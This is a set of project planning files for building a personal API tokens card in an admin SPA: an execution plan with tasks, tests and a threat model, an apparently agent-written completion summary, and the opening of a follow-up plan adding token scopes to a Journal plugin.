- "UI-SPEC copy: every string comes from backend::lang.api_tokens.* (en and pl) or existing keys; myaccount.menu_description mentions API tokens; modules/boardwalk/dist is rebuilt and check-admin-dist.sh passes."
- statement: "Plaintext never retained: after Done, hide token and after an Esc-confirm close, the plaintext is absent from the DOM and from the panel and dialog state, reopening starts at step 1, and no toast text contains the token."
verification: backstop
- statement: "Copy and live-region flow: with a stubbed navigator.clipboard, a successful copy shows the copied state and announces api_tokens.copied_announce in a polite live region; a rejected writeText focuses and selects the input and shows api_tokens.copy_failed (role=alert); a manual copy event on the input counts as copied."
verification: backstop
- statement: "Close-without-copy guard: Esc or the close button on step 2 before any copy opens the danger confirm api_tokens.close_uncopied_confirm and cancel keeps the dialog on step 2; after a copy the dialog closes at once."
verification: backstop
artifacts:
- path: "admin/src/components/account/ApiTokensPanel.vue"
provides: "the API tokens card: list, states, toggle, revoke"
contains: "data-api-tokens"
- path: "admin/src/components/account/ApiTokenCreateDialog.vue"
provides: "two-step create dialog with show-once plaintext"
contains: "data-token-plaintext"
- path: "admin/tests/account/ApiTokensPanel.test.ts"
provides: "panel and dialog smoke tests (plan 04 completes coverage)"
contains: "ApiTokensPanel"
key_links:
- from: "admin/src/views/AccountView.vue"
to: "admin/src/components/account/ApiTokensPanel.vue"
via: "<ApiTokensPanel :confirm=\"confirm\" /> after the form, sharing the view's useConfirm() and its single ConfirmDialog"
pattern: "ApiTokensPanel"
- from: "admin/src/components/account/ApiTokensPanel.vue"
to: "GET/DELETE {api}/account/tokens"
via: "typed openapi-fetch calls from admin/src/api/client.ts using the plan 01 schema.d.ts"
pattern: "/account/tokens"
- from: "admin/src/components/account/ApiTokenCreateDialog.vue"
to: "GET /account/tokens/scopes and POST /account/tokens"
via: "typed api calls; the 201 data.token lives only in the dialog's local state"
pattern: "/account/tokens/scopes"
prohibitions:
- statement: "The plaintext is never written to localStorage, sessionStorage, the URL, router state, the console, a toast or the list rows."
status: unresolved
verification: judgment
- statement: "Token names, scope labels and descriptions render through text interpolation only; no v-html."
status: unresolved
verification: judgment
- statement: "No new npm dependency and no new design token, colour, font, radius or shadow (UI-SPEC)."
status: unresolved
verification: judgment
---
## Phase Goal
ROADMAP Goal (not in user-story format): backend users create personal API tokens with scopes picked at creation time, so an agent or integration calls the admin and plugin APIs as that backend user with no more access than the token's scope and the user's own permissions allow.
This plan's slice (user checkpoint, plan 2 of 4): the admin SPA "API tokens" card on My account per 16.3-UI-SPEC.md, against the account token API and the regenerated TS types plan 01 committed, with the remaining `api_tokens.*` copy, the committed dist and the My account docs.
## Spec-less probe fallback
Visible skip: "spec-less probe fallback skipped: phase has no requirement IDs to probe". The UI-SPEC `## UI Considerations` table is lifted into must_haves: covered rows as truths, the three 🧪 backstop rows as `verification: backstop` truths, dismissed rows omitted. No unresolved rows exist.
## Decisions taken in this plan
- Component split (UI-SPEC planner's choice): `ApiTokensPanel.vue` (card, toolbar, list, revoke) and `ApiTokenCreateDialog.vue` (both steps, owns the plaintext). The panel receives the view's `useConfirm()` instance as a `confirm` prop; the dialog uses the same instance for the close-without-copy confirm (ConfirmDialog renders at z-[90], above the dialog's z-50).
- The hint is rendered as `g15_…` plus the API's `hint` field (last four characters, plan 01 contract). Labels and the known flag come from each list row's scope entries (server-translated), so no client-side scope catalog is needed.
- Dates reuse the list datetime cell's formatting (`CellValue.vue` / `admin/src/app/dateFormat.ts`): created, expires and expired as YYYY-MM-DD, last used and revoked as YYYY-MM-DD HH:mm, local time, tabular-nums. No new date format.
- `expired` from the API decides the Expired chip (server clock), so client clock skew cannot mislabel a row.
- Test location: `admin/tests/account/` (mirrors `src/components/account/`; `tests/components/` does not exist); 16.3-VALIDATION.md is updated to this path.
- OpenAPI types were regenerated in plan 01 (the contract inventory test reads the committed document); this plan only re-checks them with `check-admin-openapi.sh --check`.
## Artifacts this phase produces (this plan)
- `admin/src/components/account/ApiTokensPanel.vue` (data attributes `data-api-tokens`, `data-token-list`, `data-token-row`, `data-token-scopes`, `data-tokens-empty`, `data-tokens-error`, `data-show-revoked`, `data-action="create-token"`, `data-action="revoke-token"`).
- `admin/src/components/account/ApiTokenCreateDialog.vue` (`data-token-dialog`, `data-scope-picker`, `data-scope`, `data-token-notice`, `data-token-plaintext`, `data-action` values `create-token-submit`, `create-token-cancel`, `copy-token`, `hide-token`).
- `admin/tests/account/ApiTokensPanel.test.ts` (smoke: `tracer: list, create, show once, hide`; list states; dialog rules).
- SPA phrase keys `backend::lang.api_tokens.*` from the UI-SPEC Copywriting Contract not added by plan 01 (section, section_comment, create, create_submit, creating, done, empty_title, empty_body, load_failed, scopes_failed, create_failed, revoke_failed, gone, copy_failed, revoke, revoke_named, revoke_confirm, revoke_submit, revoked, close_uncopied_confirm, close_uncopied_submit, create_title, create_description, name, name_placeholder, name_comment, expires, expires_30, expires_90, expires_365, expires_never, expires_on, expires_never_note, scopes, read_only, scope_all_includes, created_title, created_notice, token_label, copy, copied, copied_announce, create_cancel, show_revoked, created_at, last_used, never_used, expires_at, expired_at, no_expiry, revoked_at, state_expired, state_revoked, unknown_scope, unknown_scope_hint, hint) and the changed `myaccount.menu_description`, en and pl.
- One-class change to `ConfirmDialog.vue` (`[overflow-wrap:anywhere]` on the description).
- Rebuilt `modules/boardwalk/dist`.
- My account docs: the API tokens panel in docs/backend/users-and-permissions.md and docs/backend/admin-spa.md.
<objective>
Ship the API tokens card on My account (D-16, D-17, D-08, D-09, D-11) exactly as 16.3-UI-SPEC.md describes: list with all states, two-step create with show-once plaintext and copy, revoke through the shared confirm, and the copy in both languages.
Purpose: SC-3, a backend user manages their own tokens in the admin SPA and sees the plaintext once.
Output: two components, the AccountView wiring, phrase keys, smoke tests, rebuilt dist, docs.
</objective>
<execution_context>
@~/.claude/msd-core/workflows/execute-plan.md
@~/.claude/msd-core/templates/summary.md
</execution_context>
<context>
@.planning/phases/16.3-backend-admin-personal-api-tokens-with-scopes/16.3-UI-SPEC.md
@.planning/phases/16.3-backend-admin-personal-api-tokens-with-scopes/16.3-CONTEXT.md
@.planning/phases/16.3-backend-admin-personal-api-tokens-with-scopes/16.3-01-SUMMARY.md
Plan 01 contract (Interfaces section of 16.3-01-PLAN.md): `GET /account/tokens[?revoked=1]` → `AdminAPIToken[]`; `POST /account/tokens` `{name, expires, scopes}` → 201 `AdminAPITokenCreated` (row plus `token`); `DELETE /account/tokens/{id}` → row, 404 not_found; `GET /account/tokens/scopes` → `AdminAPITokenScope[]` (`name`, `label`, `description`, `read_only`, `known`). 422 details keyed `name`, `expires`, `scopes` with server messages. Commits: no co-author tags; stage by explicit path; rebuild and commit `modules/boardwalk/dist` with each SPA change (`npm --prefix admin run build`).
</context>
<tasks>
<task type="tracer">
<name>Task 1: Tracer: on /account an admin creates a scoped token in the dialog, sees the plaintext once, hides it, and the new row is in the list</name>
<files>admin/src/components/account/ApiTokensPanel.vue, admin/src/components/account/ApiTokenCreateDialog.vue, admin/src/views/AccountView.vue, admin/tests/account/ApiTokensPanel.test.ts, admin/tests/views/AccountView.test.ts, modules/phrasebook/backend/lang/en/lang.yaml, modules/phrasebook/backend/lang/pl/lang.yaml, modules/boardwalk/dist</files>
<read_first>16.3-UI-SPEC.md (Component Contracts 1-5, Copywriting Contract), admin/src/views/AccountView.vue (imports :2-14, confirm :92, card markup :247-262, form end and ConfirmDialog :395-420), admin/src/components/relation/RelationPickerModal.vue (Dialog shell :3-11 and :355-380), admin/src/components/ui/Button.vue, admin/src/components/ui/confirm.ts, admin/src/components/form/control.ts, admin/src/components/form/formState.ts (fieldErrors :267, focusField :288), admin/src/state/useToasts.ts, admin/src/app/i18n.ts, admin/src/api/client.ts, admin/src/api/schema.d.ts (the /account/tokens operations from plan 01), admin/tests/views/AccountView.test.ts, admin/tests/helpers.ts (mountApp, requestsTo), admin/tests/relation/RelationPickerModal.test.ts, modules/phrasebook/backend/lang/en/lang.yaml and pl/lang.yaml (myaccount and the plan 01 api_tokens block)</read_first>
<action>Build the thinnest complete path through the SPA: AccountView → panel → API list → dialog → POST → show-once step → hide → list.
Per D-16 and UI-SPEC §1: render `<ApiTokensPanel :confirm="confirm" />` in AccountView after the `</form>` and before the existing ConfirmDialog, inside the `gap-5` section, never inside the form. The panel card uses `flex flex-col gap-4 rounded-card border border-border bg-surface p-7 shadow-card` with `data-api-tokens`, the header from UI-SPEC §2 (heading, comment, outline sm Create token button with Plus), and on mount loads `GET /account/tokens` through the typed `api` client; populated rows follow UI-SPEC §3 for name, hint, known-scope chips and the meta line (states and revoke come in Task 2).
Per D-16, D-17, D-08 and UI-SPEC §4-5 (minimal for the tracer): `ApiTokenCreateDialog` uses the RelationPickerModal shell verbatim; step 1 has the name input, the expiry RadioGroup with 90d preselected, and the scope checkboxes from `GET /account/tokens/scopes` (rendered in server order); submit sends `POST /account/tokens` with name, expires and the checked scope names; a 201 switches to step 2 with the notice, the read-only plaintext input and Done, hide token; Done clears the plaintext from local state, closes, and the panel reloads the list. The plaintext lives only in a dialog-local ref; it is cleared on close and in onBeforeUnmount.
Phrase keys: add every SPA key listed in this plan's Artifacts to the `api_tokens:` block in en and pl with the UI-SPEC wording, and change `myaccount.menu_description`. All strings go through `t()`; no literal UI text.
Tests: update AccountView.test.ts so its routes answer `GET {API}/account/tokens` with an empty list (the panel now loads on mount). Create admin/tests/account/ApiTokensPanel.test.ts with the case "tracer: list, create, show once, hide": mount /account with one existing token and two scopes, open the dialog, type a name, check a scope, submit, assert the POST body {name, expires: "90d", scopes: [checked]}, assert the plaintext input shows the returned token, click Done, assert the token string is absent from the whole document and that the list was requested again.
Rebuild `modules/boardwalk/dist` with `npm --prefix admin run build` and commit it with the code.</action>
<verify>
<automated>npm --prefix admin run typecheck &amp;&amp; npm --prefix admin test -- tests/account/ApiTokensPanel.test.ts tests/views/AccountView.test.ts &amp;&amp; bash scripts/check-admin-openapi.sh --check &amp;&amp; bash scripts/check-admin-dist.sh</automated>
<fails_when>Non-zero exit: vue-tsc reports a type error against the plan 01 schema, a vitest case fails (the tracer or an AccountView case broken by the panel's mount request), the committed OpenAPI or TS types drifted, or modules/boardwalk/dist differs from a fresh build ("check-admin-dist: modules/boardwalk/dist is stale").</fails_when>
</verify>
<acceptance_criteria>
- `grep -n "ApiTokensPanel" admin/src/views/AccountView.vue` prints the import and one usage, and the usage line number is greater than the line of `</form>`.
- `grep -n "tracer: list, create, show once, hide" admin/tests/account/ApiTokensPanel.test.ts` prints one line.
- `grep -c "api_tokens:" modules/phrasebook/backend/lang/en/lang.yaml modules/phrasebook/backend/lang/pl/lang.yaml` reports 1 per file and `grep -n "created_notice" modules/phrasebook/backend/lang/pl/lang.yaml` prints one line.
- `grep -rn "localStorage\|sessionStorage\|console\.\|v-html" admin/src/components/account/` prints nothing.
</acceptance_criteria>
<done>An admin can open My account, create a scoped token, read and hide the plaintext once, and see the new token in the list, with dist rebuilt.</done>
</task>
<task type="auto">
<name>Task 2: List states, show-revoked toggle, state and unknown-scope chips, and revoke through the shared confirm</name>
<files>admin/src/components/account/ApiTokensPanel.vue, admin/src/components/ui/ConfirmDialog.vue, admin/tests/account/ApiTokensPanel.test.ts, modules/boardwalk/dist</files>
<read_first>16.3-UI-SPEC.md (Component Contracts 2, 3, 6, 7; UI Considerations rows for the token list, toggle and revoke), admin/src/components/account/ApiTokensPanel.vue (Task 1), admin/src/components/ui/ConfirmDialog.vue (AlertDialogDescription :63), admin/src/components/ui/confirm.ts (ask with a run action), admin/src/components/list/CellValue.vue (datetime cell formatting), admin/src/app/dateFormat.ts, admin/src/state/useToasts.ts, admin/src/views/AccountView.vue (shared confirm)</read_first>
<action>Complete the list side per D-09, D-11 and UI-SPEC §2, §3, §6, §7.
States: first load and toggle reloads show three skeleton rows (h-3 w-40 above h-3 w-64, rounded-[6px] bg-skel, aria-hidden) with aria-busy="true" on the container; Create token is disabled only during the first load. A failed load replaces the list with the alert block (`data-tokens-error`, role=alert, CircleAlert 16px, api_tokens.load_failed) and hides the toggle; Create token stays enabled. No rows (also with the toggle on) shows the dashed empty block (`data-tokens-empty`, KeyRound 20px in a 40px bg-subtle circle, empty_title, empty_body).
Toggle (D-09): after a successful load, the `data-show-revoked` native checkbox with api_tokens.show_revoked reloads with `revoked=1`; its state is component-only.
Rows (D-11): chips per UI-SPEC §3 table: known scope (`bg-subtle text-text`, label, title = mono name, `*` shows api_tokens.scope_all), unknown scope (dashed mono, api_tokens.unknown_scope with the name, title unknown_scope_hint), Expired chip (`bg-danger-soft text-danger`) when `expired`, Revoked chip when `revoked_at` is set; revoked rows render name and meta in text-muted with no line-through. Meta line joined with " · ": created_at, last_used or never_used, expires_at / expired_at / no_expiry, and revoked_at for revoked rows, formatted as this plan's Decisions say. Revoke token (`variant="danger" size="sm"`, Ban icon, aria-label api_tokens.revoke_named) on active and expired rows only; on max-sm it sits under the meta line.
Revoke (UI-SPEC §6): `confirm.ask({message: t(revoke_confirm, {name}), confirmLabel: t(revoke_submit), danger: true}, run)` where run sends `DELETE /account/tokens/{id}`; success → list reload, success toast api_tokens.revoked, focus to Create token; 404 → danger toast api_tokens.gone and reload; other failure → danger toast api_tokens.revoke_failed, row unchanged.
ConfirmDialog: add `[overflow-wrap:anywhere]` to the AlertDialogDescription class (UI-SPEC long-text row); nothing else changes in the shared component.
Smoke cases in ApiTokensPanel.test.ts: "list states" (skeleton then empty block; failed load shows the alert and hides the toggle) and "revoke" (confirm runs DELETE, success toast; a 404 shows api_tokens.gone and reloads; the toggle requests revoked=1 and a revoked row has no revoke button). Rebuild and commit dist.</action>
<verify>
<automated>npm --prefix admin run typecheck &amp;&amp; npm --prefix admin test -- tests/account/ApiTokensPanel.test.ts tests/views/AccountView.test.ts tests/ui/ui.test.ts &amp;&amp; bash scripts/check-admin-dist.sh</automated>
<fails_when>Non-zero exit: a type error, a failing panel, AccountView or shared-UI case (for example the ConfirmDialog class change broke a UI test, or revoke did not use the shared confirm), or dist is stale.</fails_when>
</verify>
<acceptance_criteria>
- `grep -n "overflow-wrap:anywhere" admin/src/components/ui/ConfirmDialog.vue` prints one line.
- `grep -c "data-tokens-empty\|data-tokens-error\|data-show-revoked" admin/src/components/account/ApiTokensPanel.vue` reports at least 3.
- `grep -n "list states\|revoke" admin/tests/account/ApiTokensPanel.test.ts` prints the two new describe or it lines.
</acceptance_criteria>
<done>The token list handles loading, empty, failure, populated and mixed states, revoked rows on demand, and revoke with the shared confirm and correct toasts.</done>
</task>
<task type="auto">
<name>Task 3: Dialog rules: scope picker states and the `*` rule, expiry preview, 422 and busy handling, copy and clipboard fallback, close guards; My account docs</name>
<files>admin/src/components/account/ApiTokenCreateDialog.vue, admin/tests/account/ApiTokensPanel.test.ts, modules/boardwalk/dist, docs/backend/users-and-permissions.md, docs/backend/admin-spa.md</files>
<read_first>16.3-UI-SPEC.md (Component Contracts 4 and 5, UI Considerations rows for the scope picker, create form, create submit, show-once step and clipboard), admin/src/components/account/ApiTokenCreateDialog.vue (Task 1), admin/src/components/form/fields/PermissionEditorField.vue (segmented control classes), admin/src/components/form/fields/CheckboxField.vue (checkbox class), admin/src/views/AccountView.vue (422 error markup and focusField use), docs/backend/users-and-permissions.md (My account section and the API tokens section plan 01 wrote), docs/backend/admin-spa.md (:36)</read_first>
<action>Complete the dialog per D-08, D-16, D-17 and UI-SPEC §4-5.
Step 1: scope picker skeleton (three 56px rows with a 20px square and an h-3 w-40 bar) while the scopes request is pending, submit disabled; a failed request or an empty answer shows the alert block api_tokens.scopes_failed with submit disabled. Rows use the UI-SPEC row classes, label (14/600), mono name, the Read-only chip when `read_only`, and the description. Checking `*` unchecks and disables every other row (`cursor-not-allowed opacity-60`) and shows the Info note api_tokens.scope_all_includes; unchecking `*` re-enables rows without restoring earlier picks; only [`*`] is sent then. Expiry preview under the segmented control: api_tokens.expires_on with today plus 30, 90 or 365 days as local YYYY-MM-DD, or api_tokens.expires_never_note. 422: map `error.details` through `fieldErrors`, render each field's messages like AccountView (CircleAlert 14px, aria-describedby, aria-invalid, `border-danger` on the scope group), and focus the name input, else the first scope checkbox, else the first segment. Busy: fieldset disabled, primary label api_tokens.creating with a spinning LoaderCircle, Discard token and close disabled, Esc and overlay ignored, repeated submit ignored. Non-422 failure: danger toast api_tokens.create_failed, input kept. Closing step 1 any way discards input without a confirm. Focus: name input on open, the card's Create token button on close.
Step 2: overlay pointer-down and interact-outside are prevented; Copy token calls `navigator.clipboard.writeText` and on success shows Check plus api_tokens.copied for two seconds, announces api_tokens.copied_announce in an sr-only aria-live="polite" region and marks the token copied; a missing or rejecting Clipboard API focuses the input with its value selected and shows api_tokens.copy_failed (13px text-danger, role=alert); a `copy` event on the input also marks it copied. Esc and the close button close at once when copied, otherwise ask the shared confirm (`danger`, api_tokens.close_uncopied_confirm, confirm label close_uncopied_submit) and close only on confirm. Focus goes to Copy token on entering step 2. Reopening always starts at step 1 with a cleared plaintext.
Smoke cases: "dialog rules": `*` disables other rows and sends [`*`]; a 422 on scopes renders the server message and focuses the first scope; a stubbed clipboard success shows Copied and a rejection shows copy_failed; Esc before copying opens the confirm and cancel keeps step 2. Plan 04 adds the full matrix.
Docs (D-20, SPA half): in docs/backend/users-and-permissions.md "My account" describe the API tokens card (own tokens only, create with name, expiry and scopes, show once and copy, revoke, show revoked) and link to the API tokens section; in docs/backend/admin-spa.md extend the My account sentence. Rebuild and commit dist.</action>
<verify>
<automated>npm --prefix admin run typecheck &amp;&amp; npm --prefix admin test &amp;&amp; bash scripts/check-admin-dist.sh &amp;&amp; go test -count=1 ./cmd/summer -run TestDocsTree</automated>
<fails_when>Non-zero exit: a type error, any vitest case in the full admin suite fails (including the dialog rules smoke), dist is stale, or TestDocsTree reports an unknown identifier, broken link or anchor in the edited docs pages.</fails_when>
</verify>
<acceptance_criteria>
- `grep -n "dialog rules" admin/tests/account/ApiTokensPanel.test.ts` prints one line.
- `grep -c "aria-live=\"polite\"\|pointer-down-outside\|scope_all_includes\|copy_failed" admin/src/components/account/ApiTokenCreateDialog.vue` reports at least 4.
- `grep -n "API tokens" docs/backend/users-and-permissions.md docs/backend/admin-spa.md` prints at least one line per file.
</acceptance_criteria>
<done>The create dialog follows every UI-SPEC rule for scopes, expiry, errors, busy, copy and closing, the full admin suite passes, dist is current and the My account docs describe the panel.</done>
</task>
</tasks>
<threat_model>
## Trust Boundaries
| Boundary | Description |
|----------|-------------|
| server → SPA | the 201 create response carries the plaintext once |
| SPA → browser storage, clipboard | the plaintext must stay in component memory; the clipboard is user-initiated |
| server data → DOM | token names and plugin scope labels are rendered as text |
## STRIDE Threat Register
| Threat ID | Category | Component | Severity | Disposition | Mitigation Plan |
|-----------|----------|-----------|----------|-------------|-----------------|
| T-16.3-14 | Information Disclosure | ApiTokenCreateDialog plaintext | high | mitigate | Plaintext only in a dialog-local ref, cleared on Done, on confirmed close and in onBeforeUnmount; never in toasts, storage, URL, router state, console or list rows; Task 1 acceptance greps the component folder for storage, console and v-html; plan 04 backstop tests assert DOM and state are clean |
| T-16.3-15 | Information Disclosure | show-once step | low | accept | The full token is visible once by design (UI-SPEC §5) so the user can verify it; overlay clicks cannot close the step and closing before copying asks first |
| T-16.3-16 | Tampering (XSS) | token names, scope labels and descriptions | medium | mitigate | Rendered with Vue text interpolation only (no v-html); plugin labels arrive as server-translated plain strings |
| T-16.3-17 | Elevation of Privilege | scope picker | low | mitigate | The SPA renders only what GET /account/tokens/scopes returns; the server re-validates names and the overlap rule on create (plan 01, D-17) |
| T-16.3-SC | Tampering | npm/pip/cargo installs | high | mitigate | No package is installed; reka-ui, @lucide/vue and the build tools come from the committed admin lockfile |
</threat_model>
<verification>
- Task 1: typecheck, tracer and AccountView tests, OpenAPI and dist drift gates pass.
- Task 2: panel, AccountView and shared UI tests and the dist gate pass.
- Task 3: full admin vitest suite, dist gate and TestDocsTree pass.
</verification>
<success_criteria>
- SC-3 (SPA half): a backend user creates, lists and revokes their own tokens on /account, and the plaintext is shown once.
- Every UI-SPEC state is implemented; the three backstops have smoke coverage here and full tests in plan 04.
</success_criteria>
<output>
Create `.planning/phases/16.3-backend-admin-personal-api-tokens-with-scopes/16.3-02-SUMMARY.md` when done, with the commit list, the component props and emitted events, and the smoke test names.
</output>

View File

@@ -0,0 +1,190 @@
---
phase: 16.3-backend-admin-personal-api-tokens-with-scopes
plan: 02
subsystem: ui
tags: [admin-spa, api-tokens, account, vue, reka-ui, phrasebook, show-once]
requires:
- phase: 16.3-backend-admin-personal-api-tokens-with-scopes
provides: account token API, OpenAPI/TS types, plan 01 api_tokens phrase seeds
provides:
- "ApiTokensPanel on /account after the profile form"
- "ApiTokenCreateDialog two-step create with show-once plaintext"
- "List states, show-revoked toggle, revoke via shared ConfirmDialog"
- "SPA api_tokens.* phrase keys (en/pl) and myaccount.menu_description"
- "Rebuilt modules/boardwalk/dist and My account docs"
affects: [16.3-03, 16.3-04]
actuals:
tokens: 17683
tasks: 3
commits: 4
plan_head_before: 93a3112fb7a9c9d181607b473fde1f051eea778b
plan_head_after: e17207a
tech-stack:
added: []
patterns:
- "Account panel shares AccountView useConfirm(); ConfirmDialog stays at z-[90]"
- "Plaintext only in dialog-local ref; cleared on Done, confirmed close, onBeforeUnmount"
key-files:
created:
- admin/src/components/account/ApiTokensPanel.vue
- admin/src/components/account/ApiTokenCreateDialog.vue
- admin/tests/account/ApiTokensPanel.test.ts
modified:
- admin/src/views/AccountView.vue
- admin/src/components/ui/ConfirmDialog.vue
- admin/src/api/types.ts
- admin/tests/views/AccountView.test.ts
- admin/tests/fixtures/lang.json
- modules/phrasebook/backend/lang/en/lang.yaml
- modules/phrasebook/backend/lang/pl/lang.yaml
- modules/boardwalk/dist
- docs/backend/users-and-permissions.md
- docs/backend/admin-spa.md
key-decisions:
- "Panel/dialog split per plan: ApiTokensPanel owns list/revoke; ApiTokenCreateDialog owns plaintext"
- "Hint renders as g15_… plus API hint (last4); scope chips use server label/known"
- "expired from API drives Expired chip (server clock)"
patterns-established:
- "My account cards outside the profile form share one ConfirmDialog"
- "Show-once secrets stay in dialog state only — never toasts, storage, URL or list rows"
requirements-completed: [SC-3, SC-5]
coverage:
- id: D1
description: "My account API tokens card lists, creates (show-once) and hides plaintext"
requirement: SC-3
verification:
- kind: unit
ref: admin/tests/account/ApiTokensPanel.test.ts#tracer: list, create, show once, hide
status: pass
human_judgment: false
- id: D2
description: "List loading/empty/error, show-revoked toggle, revoke via ConfirmDialog"
requirement: SC-3
verification:
- kind: unit
ref: admin/tests/account/ApiTokensPanel.test.ts#list states
status: pass
- kind: unit
ref: admin/tests/account/ApiTokensPanel.test.ts#revoke
status: pass
human_judgment: false
- id: D3
description: "Create dialog scope *, 422 focus, clipboard copy/fallback, close-without-copy"
requirement: SC-3
verification:
- kind: unit
ref: admin/tests/account/ApiTokensPanel.test.ts#dialog rules
status: pass
human_judgment: false
- id: D4
description: "My account docs describe the API tokens SPA card"
requirement: SC-5
verification:
- kind: other
ref: go test -count=1 ./cmd/summer -run TestDocsTree
status: pass
human_judgment: false
duration: 9min
completed: 2026-10-11
status: complete
---
# Phase 16.3 Plan 02: Admin SPA API tokens card Summary
**My account API tokens card with list states, two-step show-once create/copy, revoke via shared ConfirmDialog, phrase keys, dist and docs.**
## Performance
- **Duration:** 9 min
- **Started:** 2026-10-10T23:57:24Z
- **Completed:** 2026-10-11T00:06:49Z
- **Tasks:** 3
- **Files modified:** 17
## Accomplishments
- `ApiTokensPanel` after the profile form on `/account`; Create token, list, show-revoked, revoke
- `ApiTokenCreateDialog`: name/expiry/scopes → show-once plaintext, copy with clipboard fallback, close-without-copy confirm
- Full `backend::lang.api_tokens.*` en/pl copy, Polish lang fixture, rebuilt `modules/boardwalk/dist`, My account docs
## Task Commits
Each task was committed atomically:
1. **Task 1: Tracer — list, create, show once, hide** - `5a6a190` (feat)
2. **Task 2: List states, show-revoked, revoke, ConfirmDialog wrap** - `1c930b6` (feat)
3. **Task 3: Dialog rules smoke tests and My account docs** - `e17207a` (feat)
**Plan metadata:** (this commit)
## Component contracts
| Component | Props | Emits |
|-----------|-------|-------|
| `ApiTokensPanel` | `confirm: ReturnType<typeof useConfirm>` | — |
| `ApiTokenCreateDialog` | `open`, `confirm` | `update:open`, `created`, `closed` |
## Smoke test names
- `tracer: list, create, show once, hide`
- `list states` (skeleton→empty; load failure)
- `revoke` (DELETE confirm; 404 gone; show-revoked)
- `dialog rules` (`*` posts `["*"]`; 422 scopes focus; clipboard; close-without-copy)
## Files Created/Modified
- `admin/src/components/account/ApiTokensPanel.vue` — card, list states, revoke
- `admin/src/components/account/ApiTokenCreateDialog.vue` — two-step create dialog
- `admin/src/views/AccountView.vue` — panel after `</form>`, shared confirm
- `admin/src/components/ui/ConfirmDialog.vue` — `[overflow-wrap:anywhere]` on description
- `admin/tests/account/ApiTokensPanel.test.ts` — tracer, list, revoke, dialog rules
- `modules/phrasebook/backend/lang/{en,pl}/lang.yaml` — SPA api_tokens keys
- `docs/backend/users-and-permissions.md`, `docs/backend/admin-spa.md` — My account tokens card
## Decisions Made
- Followed plan/UI-SPEC component split and date formatting (CellValue shapes).
- `expired` from the API drives the Expired chip; client clock is not used for that label.
## Deviations from Plan
### Auto-fixed Issues
**1. [Rule 3 - Blocking] Polish lang fixture for new phrase keys**
- **Found during:** Task 1 (AccountView / panel tests use `langFixture` Polish bundle)
- **Issue:** Plan listed en/pl YAML only; without `admin/tests/fixtures/lang.json` keys, SPA strings fall back to key paths and assertions on Polish copy fail.
- **Fix:** Injected all `backend::lang.api_tokens.*` Polish strings and updated `myaccount.menu_description` in the fixture.
- **Files modified:** `admin/tests/fixtures/lang.json`
- **Verification:** AccountView and ApiTokensPanel tests pass with Polish copy
- **Committed in:** `5a6a190` (Task 1)
---
**Total deviations:** 1 auto-fixed (1 blocking)
**Impact on plan:** Required for green admin tests; no scope creep.
## Issues Encountered
None
## User Setup Required
None - no external service configuration required.
## Next Phase Readiness
SPA half of SC-3 is in place. Ready for 16.3-03 (Journal scopes + ResolveBackend writes) and 16.3-04 (full unit/backstop matrix).
## Self-Check: PASSED
- Key files exist on disk
- Commits grepped for 16.3-02: 3 task commits
- Task acceptance greps and plan verification commands re-run green (typecheck, full admin vitest 1228, check-admin-dist, TestDocsTree)
---
*Phase: 16.3-backend-admin-personal-api-tokens-with-scopes*
*Completed: 2026-10-11*

View File

@@ -0,0 +1,286 @@
---
phase: 16.3-backend-admin-personal-api-tokens-with-scopes
plan: 03
type: execute
wave: 3
depends_on: ["16.3-01", "16.3-02"]
files_modified:
- ../sm-journal-plugin/token_scopes.go
- ../sm-journal-plugin/lang/en/lang.yaml
- ../sm-journal-plugin/lang/pl/lang.yaml
- ../sm-journal-plugin/controllers/api/auth.go
- ../sm-journal-plugin/controllers/api/auth_test.go
- ../sm-journal-plugin/journal_api_token_smoke_test.go
- ../sm-journal-plugin/README.md
- ../sm-journal-plugin/go.mod
- modules/cabana/example_tokens_test.go
- docs/services/authentication.md
- ../sm-grzybyfunkcjonalne-app/plugins/golem15/journal
autonomous: false
requirements: [SC-2, SC-4, SC-5]
estimate:
tokens: 75000
raw_tokens: 75000
tasks: 4
confidence: low
must_haves:
truths:
- "D-04 and D-01 (Journal): the Journal plugin implements pact.HasTokenScopes with `journal` (golem15.journal.*, GET, HEAD, POST, PUT, PATCH, DELETE) and `journal:read` (golem15.journal.*, GET, HEAD), labels and descriptions as golem15.journal::lang.scopes.* phrase keys present in lang/en and lang/pl; cabana boot accepts them."
- "SC-4 and D-15: POST, PUT and DELETE /_journal/api/v1/posts, the featured-image routes and POST /_journal/api/v1/media/upload accept a Bearer g15_ token whose scope covers golem15.journal.* (journal or `*`), running as the token's owner with the owner's Journal permissions; the backend JWT keeps working exactly as before."
- "D-15 byte-identical bodies: a missing, invalid, expired or revoked token answers 401 {\"error\":\"Authentication required\"}; a journal:read token on a write route and a token whose scopes do not cover golem15.journal.* answer 403 {\"error\":\"Insufficient permissions\"}; every other status and body is unchanged."
- "D-15 optional auth: GET /_journal/api/v1/posts and /posts/{slug} with a valid journal or journal:read token unlock drafts exactly where the owner may see them; a token that fails or does not cover golem15.journal.* is treated as anonymous (no 401 on public reads)."
- "RESEARCH Pitfall 3: the Journal routes resolve their principal only through cabana.ResolveBackend with cover golem15.journal.*, so a token with an unrelated scope never reaches the ownership branches (Post.CanEdit, canViewDraft, featured images)."
- "RESEARCH Pitfall 4 (behaviour change, documented): the Journal API now honors code-declared role grants (pact.Permission.Roles) because it uses the admin guard's compiled registry instead of a nil one."
- "RESEARCH open question 2 resolved against the frozen PHP tree: PostApiController::uploadFeaturedImage and deleteFeaturedImage check only $post->canEdit($user), like update and destroy; the Go featured-image handlers keep that parity and gain no access_posts check; the token side is closed by the resolver's cover."
- "D-20 (Journal and remaining docs): the Journal README documents the two scopes, token auth on writes and optional-auth reads, the reversal of Phase 15 D-15, the code-declared-role change and that the journal-api throttle still keys by client IP; docs/services/authentication.md shows ResolveBackend from a compiled example (ExampleResolveBackend) with neutral names; TestDocsTree and summer docs:build --check pass."
- "Release (RESEARCH open question 5, user checkpoint): after a human approves at a blocking checkpoint, an annotated summercms tag (the next free v0.1.x after v0.1.20) containing plans 01 and 02 is on origin; sm-journal-plugin main requires that tag and is pushed; the sm-grzybyfunkcjonalne-app journal gitlink points at the pushed Journal head and is pushed; no pushed tag is moved."
artifacts:
- path: "../sm-journal-plugin/token_scopes.go"
provides: "journal and journal:read scopes"
contains: "TokenScopes"
- path: "../sm-journal-plugin/controllers/api/auth.go"
provides: "requireBackendPrincipal and optionalBackendPrincipal on cabana.ResolveBackend with cover golem15.journal.*"
contains: "cabana.ResolveBackend"
- path: "../sm-journal-plugin/journal_api_token_smoke_test.go"
provides: "Postgres tracer and expansion smoke for token writes"
